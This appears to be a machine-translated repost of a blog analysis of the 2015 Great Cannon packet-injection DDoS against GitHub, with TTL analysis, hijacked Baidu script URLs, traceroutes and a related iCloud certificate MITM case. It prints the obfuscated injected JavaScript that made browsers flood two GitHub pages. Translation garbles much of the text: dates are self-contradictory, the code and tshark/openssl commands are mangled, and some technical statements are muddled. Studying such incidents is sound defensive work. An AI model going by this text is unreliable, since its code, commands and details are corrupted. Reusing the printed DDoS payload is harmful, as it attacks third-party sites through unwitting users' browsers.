Man-in-the-middle attack on github
Source: http://www.netresec.com /? Page = Blog & month = 2015-03 & post = China % 27s-Man-on-the-Side-Attack-on-GitHub
Announcement released on March 27 by github
We are suffering from the largest Distributed Denial of Service (DDOS) attack in github history. The attack started at two o'clock P.M. on Thursday, January 1, March 26. The attack methods combine multiple attack methods, from some old-fashioned attack methods to new ones, the Browser allows irrelevant onlookers to participate in the contribution to the github attack traffic. According to the report we received, we believe that the attack aims to let us delete some specific content.
Based on our observation of network attacks, we can infer that a large organization uses some passive and active network devices to execute packet injection attacks, that is, man-in-the-middle attacks to start github, you can refer to the link TTL analysis at the end of the article to learn how we can infer that this is a man-in-the-middle attack.
To put it simply, the man-in-the-middle attack process is as follows:
An innocent user not in China enters the Internet
An innocent user's website loads a javascript file from a Chinese server. (For example, Baidu statistics script)
Browser requests to Baidu js will be detected by passive settings of a country to access China.
Return a spoofed response (injecting three packets) instead of a real Baidu statistics script. That is to say, a malicious js script is returned, causing the user's browser to continuously request two special pages on github.
However, not all Chinese users who load the script will launch attacks. According to our analysis, only about 1% of users who load Baidu analysis will receive malicious JavaScript code as responses, and others will be normal.
We used a simple method to load malicious scripts on the browser, that is, to allow the browser to access some Chinese websites. After loading malicious js, below are the malicious behaviors we have observed in network traffic.
Tool CapLoader
This script causes our browser to continuously access github (IP address 192.30.252. [128-131])
0x01 Baidu statistics
The Baidu statistics script loads the url image.
Http://hm.baidu.com/h.js? 0deadbeef000deadbeef000deadbeef0 normal version
Http://hm.baidu.com/hm.js? 0deadbeef000deadbeef000deadbeef0 asynchronous version
Under normal circumstances, the request for Baidu scripts looks like this.
The injected malicious script looks like this.
The responses after injection are the same each time. The injected three data packets are shown below.
Injected packet #1:
HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130
Injected packet #2:
Eval (function (p, a, c, k, e, r) {e = function (c) {return (c35? String. fromCharCode (c + 29): c. toString (36)}; if (! \'\'. Replace (/^/, String) {while (c --) r [e (c)] = k [c] [/c] | e (c ); k = [function (e) {return r [e]}]; e = function () {return \ '\\\ w + \'}; c = 1 }; while (c --) if (k [c] [/c]) p = p. replace (new RegExp (\ '\ B \' + e (c) + \ '\ B \', \ 'G \'), k [c] [/c]); return p} (\ 'L. k ("\\\\ h/5> ");! J. K & l. k ("\\\\ h/5>"); j = (6 4 ). c (); 7g = 0; 3 I () {7 a = 6 4; V 4.Z( a.10 (),. w (),. x (), a.11 (),. y (),. z ()/A} d = ["m: // n.9/E", "m: // n.9/F-G"]; o = d. i; 3 e () {7 a = I () % o; q (d [a])} 3 q (a) {7 B; $. M ({N: a, O: "5", P: Q, R :! 0, S: 3 () {s = (6 4 ). c ()}, U: 3 () {f = (6 4 ). c (); B = W. X (f-s); Y> f-j & (u (B), g + = 1) }} 3 u () {v ("e ()", a)} v ("e ()", D); \ ', 62,64, \ '| function | Date | script | new | var | jquery | com | getTime | url_array | r_send2 | responseTime | count | x3c | unixtime | startime | write | document | https | github | NUM | src | get | http | requestTime | js | r_send | setTimeout | getMonth | getDay | getMinutes | getSeconds | 1E3 | baidu | min | 2E3 | greatfire | cn | nytimes | libs | length | window | jQuery | code | ajax | url | dataType | timeou
Injected packet #3:
T | 1E4 | cache | beforeSend | latest | complete | return | Math | floor | 3E5 | UTC | getFullYear | getHours '. split (' | '), 0 ,{}))
Malicious JavaScript code is obfuscated. You only need some simple anti-obfuscation to obtain the source code.
You can see that the two target URLs are github.com/greatfireand github.com/cn-nytimes, both of which are an image site used to circumvent (GFW.
0x02 TTL Analysis
Time-To-Live (TTL) analysis is a very effective method for analysis of man-in-the-middle attacks, the attack on Google and GitHub was analyzed and achieved good results.
An interesting part of this attack on github is that attackers modify the IP address TTL value of data packets to make it difficult to locate injection points of malicious data packets. We use Tshark to output Source-IP, Destination-IP, TCP-Flags, and IP-TTL. Please refer to the following arrow mark
Tshark-r baidu-high-ttl.pcap-T fields-e ip. src-e ip. dst-e tcp. flags-e ip. ttl
192.168.70.160 61.135.185.140 0x0002 64
61.135.185.140 192.168.70.160 0x0012 42
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0018 64
61.135.185.140 192.168.70.160 0x0018 227
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228
61.135.185.140 192.168.70.160 0x0019 229
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64
Note that the ttl of the SYN + ACK packet returned by the server is 42, and the ttl values of the next three injection packets are 227,228 and 229.
This is the result of parsing another PCAP file. The ttl value here is relatively low.
Tshark-r baidu-low-ttl.pcap-T fields-e ip. src-e ip. dst-e tcp. flags-e ip. ttl
192.168.70.160 61.135.185.140 0x0002 64
61.135.185.140 192.168.70.160 0x0012 42
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0018 64
61.135.185.140 192.168.70.160 0x0018 30
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31
61.135.185.140 192.168.70.160 0x0019 32
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64
The server's SYN + ACK package's ip ttl value is kept at 42, but the TTL package containing malicious payload is kept at 30 to 229, that is, SYN + ACK is from Baidu's server, but the injected malicious package actually comes from somewhere else.
As we have said before, the injected three data packets are always the same. The only difference between user sessions is the target tcp port, which further enhances our assumption that it is a man-in-the-middle attack. Even if we directly discard the injected data packet and convert it into a request directly from the server, it is useless.
0x03 other malicious js sources
Baidu statistics are not the only data packet replaced by malicious sites. According to the GreatFire.org analysis report, they found that the URLs are as follows:
Hm.baidu.com/h.js
Cbjs.baidu.com/js/o.js
Dup.baidustatic.com/tpl/wh.js
Dup.baidustatic.com/tpl/ac.js
Dup.baidustatic.com/painter/clb/fixed7o.js
Dup.baidustatic.com/painter/clb/fixed7o.js
Eclick.baidu.com/fp.htm? Br =...
Pos.baidu.com/acom? Adn =...
Cpro.baidu.com/cpro/ui/uijs.php? Tu =...
Pos.baidu.com/sync_pos.htm? Cproid =...
Although all are Baidu domain names, technically any site in a country can be used for such attacks.
0x04 update
April 2
Errata Security's Robert Graham verifies our theory of this attack from a country by conducting an http-traceroute. Article
April 13
Bill Marczak, Nicolas Weaver, Jakub Dalek, Roya Ensafi, David ~ield, Sarah McKune, Arn Rey, John Scott-Railton, ronald Deibert and Vern Paxson released a report to verify information about the strange ttl value. They also called this attack method Great Cannon.
For more information about gfw ttl side channels, see paper.
They tracked the GC and GFW paths,
For 115.239.210.141 GFW and GC, both are switched between 12 and 13, and there is a connection between 144.232.12.211 and 202.97.33.37. The traffic belongs to China Telecom. For 123.125.65.120, the two switch between 17 and 18, there are links in 219.158.101.61 and 219.158.101.49, which belong to China Unicom.
This confirms that GC is located in an asn, and a previously gfw man-in-the-middle attack is located in the same place.
The investigator published some PCAP files about GC and GFW.
Gfc_test.tcpdump
Falun_traceroute.tcpdump
Eureka. tcpdump (interesting capture file, with injected packets and packets from Baidu in the same TCP session)
Both_sidechannel.tcpdump.gz
Injector_traceroute.tcpdump
Twopaths.tcpdump.gz
Next_ip.tcpdump
Stateless_and_cache.tcpdump.gz
Cache_expire.tcpdump.gz
Multisender-bigblast.tcpdump.gz
Multi_ip_blowout.tcpdump.gz
0x05 iCloud China MITM Attack & counterfeit ssl Certificate
Http://www.netresec.com /? Page = Blog & month = 2014-10 & post = Chinese-MITM-Attack-on-iCloud
Chinese users reported a MITM attack on the icloud ssl connection, which may be aimed at stealing users' privacy information.
At GreatFire, a website that monitors firewall activities in a country published a related analysis. Their blog links to a captured data packet to verify whether it is a MITM attack, we analyzed it. we loaded the PcapNG file into NetworkMiner Professional and extracted the X.509 SSL certificate.
Extracted certificate. Below are some details about the certificate.
$ Openssl x509-inform DER-in www.icloud.com. cer-noout-issuer-subject-startdate-enddate-fingerprint
Issuer =/C = cn/O = www.icloud.com/cn1_www.icloud.com
Subject =/C = cn/O = www.icloud.com/cn#www.icloud.com
NotBefore = Oct 4 10:35:47 2014 GMT
NotAfter = Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint = F4: 68: B5: F3: FE: D8: 07: 97: 44: 76: A2: 2B: 32: EA: 31: 37: D9: 24: f7: BA
For self-signed certificates, browsers and most iphone applications will remind users that connection is not secure. The self-signed certificate used this time complies with the previous MITM attack on GitHub, Google, Yahoo, and live.com.
0x06 MITM attack locating
Through NetworkMiner's analysis on fake ssl servers, we can see that only six routers (hops) are passed by the client, which indicates that the mitm attack is carried out in China.
The data packet in the pcap file shows that it comes from the same ip address and port 80, among which 11 hops (ip ttl 53) are passed ), therefore, it is assumed that only traffic through port 443 may be mitm attacks.
Then we analyzed its ttl, which showed different tcp traceroutes results, which indicates that the iCloud SSL server used in the attack is located in different ip23.59.94.46: 443
My traceroute [v0.85]
Siyanmao-k29 (0.0.0.0) Sat Oct 18 19:26:07 2014
Host Loss % Snt Last Avg Best Wrst StDev
1. 192.168.1.1 0.0% 17 0.6 0.7 0.6 0.8 0.0
2. ------------- 0.0% 16 2.8 2.6 1.7 3.3
3. ------------- 0.0% 16 2.0 2.2 1.4 4.0
4 .???
5. 119.145.47.78 0.0% 16 6.4 7.7 4.3 27.0
183.56.65.54
183.56.65.50
119.145.47.74
121.34.242.250
121.34.242.138
6. 23.59.94.46 25.0% 16 168.5 171.4 166.8 201.3
File address
The attack appeared on China Telecom AS4134.
Bearice @ Bearice-Mac-Air-Haswell ~
% Tcptraceroute 23.59.94.46 443
Selected device en0, address 192.168.100.16, port 52406 for outgoing packets
Tracing the path to 23.59.94.46 on TCP port 443 (https), 30 hops max
1 192.168.100.254 1.737 MS 0.793 MS 0.798 MS
2 111.192.144.1 2.893 MS 2.967 MS 2.422 MS
3 61.51.246.25 2.913 MS 2.893 MS 3.968 MS
4 124.65.61.157 4.824 MS 2.658 MS 3.902 MS
5 202.96.12.9 3.626 MS 6.532 MS 3.794 MS
6 219.158.96.54 27.539 MS 26.821 MS 27.661 MS
7 a23-59-94-46.deploy.static.akamaitechnologies.com (23.59.94.46) [open] 30.064 MS 29.899 MS 30.126 MS
File address
Of course, China Unicom does not want to run
Tcproute shows that the CHINANET backbone network seems to be mainly used for attacks.
The TCP traceroutes results show that although the mitm attack is located in several different locations, it is concentrated on the Internet infrastructure in China. Specifically, the backbone network for the mitm attack belongs to China Telecom and China Unicom.
